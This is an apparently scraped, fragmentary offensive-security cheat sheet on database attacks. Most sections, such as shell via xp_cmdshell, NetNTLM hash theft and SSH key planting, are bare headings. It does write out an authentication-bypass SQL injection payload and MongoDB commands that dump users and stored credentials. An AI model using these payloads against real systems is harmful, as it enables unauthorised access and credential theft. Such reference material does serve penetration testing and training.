SQL Injection
Authentication bypass
tom' or 1=1;#tom' or 1=1 LIMIT 1;#Database analysis
MongoDB
mongo "mongodb://localhost:27017"> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;User Password Reset to "12345"
MSSQL
Show Database Content
OPENQUERY
Binary Extraction as Base64
Steal NetNTLM Hash / Relay Attack
Impacket mssqlclient.py
MySQL
Update User Password
Drop a Shell
xp_cmdshell
Insert Code to get executed
Write SSH Key into authorized_keys2 file
Linked SQL Server Enumeration
NoSQL Injection
PostgreSQL
Common Commands
Redis
Enter own SSH Key
SQL Injection
Last updated